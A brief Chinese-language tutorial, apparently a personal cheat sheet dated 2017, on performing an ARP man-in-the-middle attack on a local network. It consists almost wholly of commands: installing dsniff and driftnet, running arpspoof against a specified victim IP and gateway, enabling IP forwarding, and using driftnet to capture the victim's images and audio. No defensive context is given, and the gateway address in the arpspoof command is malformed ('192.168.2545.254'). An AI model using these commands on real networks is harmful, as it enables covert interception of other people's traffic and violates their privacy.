ARP第三方中间人欺骗，伪装，监控数据

1. 安装dsniff和driftnet工具

$ yaourt -S dsniff driftnet
2. 假设被攻击者IP：192.168.254.40，网关：192.168.254.254
双向欺骗，一方面告诉被攻击者自己是192.168.254.254,另一方面告诉网关自己是192.168.254.40

$ arpspoof -i eth0 -t 192.168.254.40 -r 192.168.2545.254
3. 打开本地ip转发

$ echo 1 > /proc/sys/net/ipv4/ip_forward
4. 使用driftnet监听网络上的图片或音频

$ driftnet -i eth0

nicephil@gmail.com 2017-6-2